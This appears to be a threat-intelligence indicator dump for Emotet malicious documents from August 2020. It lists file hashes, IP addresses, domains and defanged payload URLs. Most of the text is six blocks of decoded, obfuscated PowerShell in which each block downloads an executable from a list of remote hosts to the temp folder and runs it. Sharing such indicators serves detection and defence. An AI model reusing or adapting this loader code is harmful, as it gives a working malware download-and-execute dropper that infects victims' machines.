Emotet_Doc_out_2020-08-17_16_34.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

fc3dbc728e40485149a08f64f191368ecb9d6b5e70db2a22b60c501b34015f1e
e3492d2065690769a6a42df6b2d8f81e652704ea415f5438639668d023f8fd2c
46db34bfda5548b0dd8b296433d8873b76ade514f9e4004e2faa373e674403a9
8f9649dab8ca8b9830c3cf160314bc7bf4c8e9e64454056eba927e3d8867ba77
f7d489eb88aa841ee1b47a6e6a1fb428eb46a1b45f09a7b80db58e6712405214
0bc9386fc79cc5ca3c40d6097ff02e79604e109d9b66a0fd420c05fd185966fa
f344980490bf4e4ea24ab13eabb08d448f17ba3cdce9428065cf1feacc2eba25
2cd9bcfce55364789c0b67aa534997d756e2b19e4dcff310e1b6dda1e1b307e1
1860fb0f263f7af85cfdd33e783aa2a2d89d01662b7eda0406a483896c058b6d
6abd014864e7097823f4e8185a28ced6807a82c55bf7ab874963fb2608fbcbae
53def44a7838027fbc0892ab7540674308db7f57b2d2665f03c7f266d2ef2990
7dc1a7c46cab321822a0bec82334855f568c89476857f6a1c30f31a0d057c70b
4cccca58f4f6e83089663d7f1a7416d78838732ca659a56c14bdc530f199d81f
f98994a898e97dd2173021aad49d223a8fec7b5320dc209cc1ee76335433b672
4363fc523995de2f965e7508de32dfa577fb373b56ff499d9fd33f05a4f5c909
1936d6e2807a4e2a5fab398c26a3cc1ca8fa1d784fdbe9eaa66001f4af3e6f84
6fe7471e8a5a196c0f93d0dd87ed36d80a93a4fa75a34d0d0a3a9a7a3c9d86c8
ae9015453ec08bf62ef13056a926cb3c17013304bcbb9716cc50fdf497c2f4e6
399160b6d4bca57b608e507a5df61303ddcd8cd1bee52cdb90eddf93183476fb
a6d7840234c99772fec66f275538655029609a38501280b546ceae398615c4e7
5a48f64a64fc6f3274697ca4b5a7125af127420fbf0ee1858845e7ca8cf3fde8
d3a747ec6c16f94826d4ceac8bda7ff18ca32034f8687686f456e290da454ec4
b3ebed6642674cf67206f1f174164dc3d330416c731a8873fc7b04e0bd56d6a7
5fb3c6c029dccd1cbac29cc059e6c88ba239bc31ae819b435bf7e4861f708c09
5486bfc73a4e516cc59804ed2a331815d57b7e09cda38d51232a66a051c6d97f
dd5591e1cb84fb1caa7ea8b462cd21f4c253b96202b4f26d0902e02707aaa13f
98b945d93a035bdab99b81e33963dd916377a238e5127137af130547bb458500
c23d80fd6b359185f69f443b223598150e259f5bcd4b486a79508d83c9db1c9c
680ad9bd81968e6a1ae7a868165c294e54a2c32db1538aa5f0be6afabb49c013
949e2a7e1ab47881dceb88c2e55e62328bbf9bb84ce6e27a311d1b11f93e895c
1722f8015d90337f8829fb9890cf1c4d04a60dcd0ded0c9d1d8d070034ea423a
35625c4db57524d02bb9b8a3a150c15a793c8bcf531e07b2d1cad9a1367491ae
bd81f87897c744d86a9201623ac8269f4cd0e974f315d5dc0660a9a2bf6b9ed2
9e4435e5c69317d6e4d51f2219a60c83972878d2eb2e172a2ac230b819dff972
c18458f19d2bb45125bb71df0f89bddfb8e9040921f4a48a4735bec68b2e173d
2116d668fe951d0c6416856abaecd566f9ee3e52d4a9cf85fadce76aa234aed4
da9dc42c7c6633c150e79f8c1cdbad078bd29454742d4b23a921cf5e30442a09
13def6e8f5dd2909bd67cbe188104f4478248a4488bdce7087b9b5f82002344b
cbeafc0043dce992a90d093dab088cb87e5f9ef7406c77fd1c3ecc9f78570c65
0049ae3030eee9b77475149b0072295d391ebeaee65f985e2a34b806d165c4a0
b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7
9929898e10dcd99ea93c2f09a547e6a8e63e9c0ac53f0e066e799b0acd1bde65
3075e5f4103e8dd642f315d74bf45b8683c6634fd3bf5958bc5225f745dba25c
2c2d3c4b97887da9753012fdf167bb4da83ab8ced7eca83281d632ee9059fa73
a45ea71dcd0596066485da957d49d36d058cbaec265187529071b6e3e61b3c90
da2838d8e9b1ae1a6234e5154119a4db763c030cb9d7bf7755db55e988ae2da7
c99b2909d4ce7f6e420ae1f9091df32320fcbafd4c1a1b84f280d46681157b72
056530cd4782d99039a1c59a00634e347c97aba91712f28efa2f99016e36255d
d57b6c19b7c12e7d0e54dcacd0c4a3ae5c2e38e5310c05b3e8b332c250924191
d7722708c2f34221c7c4a61f6c2774e14529cfdde963f86b5f5e4a01071513a9
233d20caa736efe036af3668750d91abe1cb9875e21f1b98d132e4cb4b3874ee
cc29f4c7086098e3bb1351f264d439f5729a410d85313b59daa22e2b67a54057
0ffc730b768c45ae0f359cbcfad987af88e15ac6e383857a2d42e7be17d01bf7
842a834658cc420c29826536fe1052d47ea8c0e97b7bd446a9c01d42c72b829c
03ec84e4f4ebf04e5ffe956b977a4eb4a85f5d825c38c4eee966ba541f8e3d42
59e71fc83bf6d0dc7cd04c811cf02181eb7bb2a4b31f8532a2fbb6b4e7cec080
5407cb328eba74c2cfe2ea8f00160e154d9054f239210f38a9310a8f608791d1


IPs:
117.34.73.36
173.254.16.28
174.100.27.229
185.68.16.20
185.86.148.68
209.126.6.222
23.235.200.201
45.173.88.33
68.44.137.144
68.66.248.6
71.57.180.213
75.139.38.211
91.250.70.60

Domains:

enco-software.com
gh.xahpyy120.com
ocelliptigo.com
poonamjoshi.com
quasi-monkey.com
seedsagro.com


hxxp://gh.xahpyy120.com/phpmyadmin/doc/fPJxu81Tt/
hxxp://ocelliptigo.com/undrag/FRg446071/
hxxp://megasolucoesti.com/R9KDq0O8w/HBh300/
hxxp://raiseways.com/wp-content/XwZGZ94507/
hxxp://m.sxhpzyy120.com/kfal/hKIpdkhdqU/
hxxp://enco-software.com/blogs/mtvqyqwl85094171/
hxxp://amcoitsystems.com/wp/ZxXBfZxSe/
hxxp://duchanhmechanical.com/images/zlFAsqZh/
hxxp://pixelactinc.com/pixel/YOOe/
hxxp://tf.sxhpyy120.com/a/bdSRd/
hxxp://muliarental.com/f9u8w-mrs-88/VWVA/
hxxps://dev.dosily.in/wp-content/qyY/
hxxp://behnasan.com/wp-content/uZRqx/
hxxp://www.leframe.com/zcMv/tATDYnJy/
hxxp://runderfulthailand.com/jkats/LvJDvtg8270/
hxxp://seedsagro.com/wp-content/MZ9Qd/
hxxp://aribsalin.ematj.com/up/E9Oj3tPaCk/
hxxp://dawood-elmoratel.ematj.com/wp-admin/eDORY317/
hxxp://khudothiaquacity.com/wp-admin/FLgiVM8/
hxxp://gpzjw8.net/ekjsn/AV785131/
hxxp://quasi-monkey.com/6u1alr/jmu_etfp_04jtkjifle/
hxxps://www.queenyconnection.com/-08-16-2020_new/3syo2_x_w/
hxxp://xsdhly.com/a/ofq_4p_uxpjw862i/
hxxp://jkssoftsolutions.com/parkift/c_d_oxim1b19/
hxxp://niam.grapple-staging.co.uk/wp-content/uploads/s_s8p5_vs3fb/
hxxp://poonamjoshi.com/wp-admin/pihy_fqz6_hadcsffl/
hxxp://promservice-plast.com/wp-content/ap_j_9lkio2/
hxxps://loveravista.saigoncitylands.com/wp-includes/t40_ey_5sefbwyrl/
hxxp://novahills-phanthiet.com/wp-admin/iz34_se_j21i/
hxxp://www.earthpath.com/EarthPath/tqli_b4_83vy/


Decoded Base64 Powershell:
$Z48al2j='Gdkwpbk';
[Net.ServicePointManager]::"S`ec`UrI`TYpr`oToCOL" = 'tls12, tls11, tls';
$Tm7fxsn = 'Jgws';
$Oagv470='Iwrwe2d';
$Z5fky7r=$env:temp+'\'+$Tm7fxsn+'.exe';
$Ybfjv5b='P7hzcu8';
$Fll181l=.('new-o'+'bj'+'ect') nET.Webclient;
$Mkrz0i3='hxxp://gh.xahpyy120.com/phpmyadmin/doc/fPJxu81Tt/
hxxp://ocelliptigo.com/undrag/FRg446071/
hxxp://megasolucoesti.com/R9KDq0O8w/HBh300/
hxxp://raiseways.com/wp-content/XwZGZ94507/
hxxp://m.sxhpzyy120.com/kfal/hKIpdkhdqU/'."S`PLiT"([char]42);
$Uk19wlh='Ux_xxzr';
foreach($Csbcq6b in $Mkrz0i3){try{$Fll181l."D`ownlOa`DFIle"($Csbcq6b, $Z5fky7r);
$Yxohzrr='Zx_8zjv';
If ((&('Get'+'-Ite'+'m') $Z5fky7r)."le`Ngth" -ge 36060) {&('In'+'voke'+'-It'+'em')($Z5fky7r);
$R56afax='Tr05o87';
break;
$N2pfzdl='Z0_ml1t'}}catch{}}$E807xx3='To0_t8v'$G033p21='W1vhu4m';
[Net.ServicePointManager]::"sE`c`URiTYPROtO`c`oL" = 'tls12, tls11, tls';
$Gzjo7hr = 'Wmqe';
$Drahsfg='N280e6v';
$P1412nt=$env:temp+'\'+$Gzjo7hr+'.exe';
$Mxo5a76='Umlrmo8';
$D7p3v9h=.('n'+'e'+'w-object') net.WebCliEnt;
$Obapx4e='hxxp://enco-software.com/blogs/mtvqyqwl85094171/
hxxp://amcoitsystems.com/wp/ZxXBfZxSe/
hxxp://duchanhmechanical.com/images/zlFAsqZh/
hxxp://pixelactinc.com/pixel/YOOe/
hxxp://tf.sxhpyy120.com/a/bdSRd/'."sPL`iT"([char]42);
$Awu39uj='P2oe4xc';
foreach($Ewu5vjo in $Obapx4e){try{$D7p3v9h."DownlOA`DF`iLe"($Ewu5vjo, $P1412nt);
$F1o6im7='P_pg6zx';
If ((&('Ge'+'t-It'+'em') $P1412nt)."l`eNGtH" -ge 22362) {.('Invoke-'+'It'+'em')($P1412nt);
$R8tl5z9='Djjs2jf';
break;
$Pjwabaz='Hf0edo8'}}catch{}}$Gje1uoo='Lsddw37'$Jeae9it='Uq_xvvn';
[Net.ServicePointManager]::"sE`Cu`RitYpR`oTOCOL" = 'tls12, tls11, tls';
$Iep6j5m = 'Ycfq';
$X_lsgfz='Zy161x3';
$Kmk3poh=$env:temp+'\'+$Iep6j5m+'.exe';
$Lufg5ja='Kut23r3';
$K3lb3h3=.('new-'+'o'+'bj'+'ect') nEt.WeBCLiEnT;
$Xojazot='hxxp://muliarental.com/f9u8w-mrs-88/VWVA/
hxxps://dev.dosily.in/wp-content/qyY/
hxxp://behnasan.com/wp-content/uZRqx/
hxxp://www.leframe.com/zcMv/tATDYnJy/
hxxp://runderfulthailand.com/jkats/LvJDvtg8270/'."spl`it"([char]42);
$E8go5s9='O_be2f9';
foreach($Rb2firz in $Xojazot){try{$K3lb3h3."dOwnl`O`ADf`iLe"($Rb2firz, $Kmk3poh);
$Vjstcrw='Zmcxx93';
If ((&('Get-'+'Ite'+'m') $Kmk3poh)."L`eNG`Th" -ge 29949) {&('I'+'n'+'voke'+'-Item')($Kmk3poh);
$Rx5rok0='Jx5i8ik';
break;
$P9t_i02='Nprplfw'}}catch{}}$Ohcsdrp='O8154pd'$Mctbeom='Pfid0cg';
[Net.ServicePointManager]::"SEC`U`RItYp`ROtO`c`ol" = 'tls12, tls11, tls';
$C9f4mwc = 'Qzso';
$Yc5evy3='Szztln6';
$Soja25c=$env:temp+'\'+$C9f4mwc+'.exe';
$Rihlcgq='P_ba3s5';
$Vjaknid=&('ne'+'w-'+'o'+'bject') NEt.WEbclieNt;
$Yyy777s='hxxp://seedsagro.com/wp-content/MZ9Qd/
hxxp://aribsalin.ematj.com/up/E9Oj3tPaCk/
hxxp://dawood-elmoratel.ematj.com/wp-admin/eDORY317/
hxxp://khudothiaquacity.com/wp-admin/FLgiVM8/
hxxp://gpzjw8.net/ekjsn/AV785131/'."S`PlIT"([char]42);
$Ac3pioq='Qnn7r13';
foreach($Dodlwgj in $Yyy777s){try{$Vjaknid."D`Own`l`OAdFIlE"($Dodlwgj, $Soja25c);
$Fx03rk9='Qiuwx3h';
If ((.('Ge'+'t-'+'Item') $Soja25c)."Le`NgTH" -ge 24503) {&('Invoke-I'+'t'+'em')($Soja25c);
$Bsiwqlk='Tzz5uf7';
break;
$L4etcf3='Z3a5656'}}catch{}}$Dapit_4='Ra1vi0d'$Suj6ok7='Kf1dl7z';
[Net.ServicePointManager]::"S`ecurItYp`RoT`OCOL" = 'tls12, tls11, tls';
$Hxemgwb = 'Jhrx';
$Ekc69hq='H2wwjx1';
$Y65b9lb=$env:temp+'\'+$Hxemgwb+'.exe';
$M69x_yw='P95o03c';
$C__53am=&('new-'+'obje'+'ct') NEt.WeBCLieNT;
$E0n1bpc='hxxp://quasi-monkey.com/6u1alr/jmu_etfp_04jtkjifle/
hxxps://www.queenyconnection.com/-08-16-2020_new/3syo2_x_w/
hxxp://xsdhly.com/a/ofq_4p_uxpjw862i/
hxxp://jkssoftsolutions.com/parkift/c_d_oxim1b19/
hxxp://niam.grapple-staging.co.uk/wp-content/uploads/s_s8p5_vs3fb/'."SPl`it"([char]42);
$Sfqosp9='Vr7zud6';
foreach($Flkpg31 in $E0n1bpc){try{$C__53am."D`oWnLOAd`Fi`Le"($Flkpg31, $Y65b9lb);
$Dc6p1k9='Rjjaobq';
If ((&('Get-'+'Ite'+'m') $Y65b9lb)."LE`NGTH" -ge 30579) {.('I'+'nvoke'+'-Item')($Y65b9lb);
$B8egled='T4s39js';
break;
$Dj78x4q='X1ig844'}}catch{}}$Iarh1t5='Us_rp32'$Tregfy1='Nxzskfe';
[Net.ServicePointManager]::"sECUriT`yPR`otoc`ol" = 'tls12, tls11, tls';
$Hqfq9dq = 'Prmi';
$R2gopy8='N9voory';
$V41n6mm=$env:temp+'\'+$Hqfq9dq+'.exe';
$Kbnfc_6='R6qflu3';
$C8_e0pd=&('n'+'ew-ob'+'ject') nET.WEBCliENT;
$S3oh4zn='hxxp://poonamjoshi.com/wp-admin/pihy_fqz6_hadcsffl/
hxxp://promservice-plast.com/wp-content/ap_j_9lkio2/
hxxps://loveravista.saigoncitylands.com/wp-includes/t40_ey_5sefbwyrl/
hxxp://novahills-phanthiet.com/wp-admin/iz34_se_j21i/
hxxp://www.earthpath.com/EarthPath/tqli_b4_83vy/'."S`Plit"([char]42);
$Tj7ak23='Tnhvbkd';
foreach($M5bp5ti in $S3oh4zn){try{$C8_e0pd."dow`N`l`oADFilE"($M5bp5ti, $V41n6mm);
$M3hxege='W01uh3b';
If ((.('Get-I'+'te'+'m') $V41n6mm)."lEnG`Th" -ge 39379) {&('Inv'+'oke-It'+'e'+'m')($V41n6mm);
$Dxfwxcx='Wp13kho';
break;
$Qyunflw='Efmaik_'}}catch{}}$Gp8x0h6='Onj2o8w'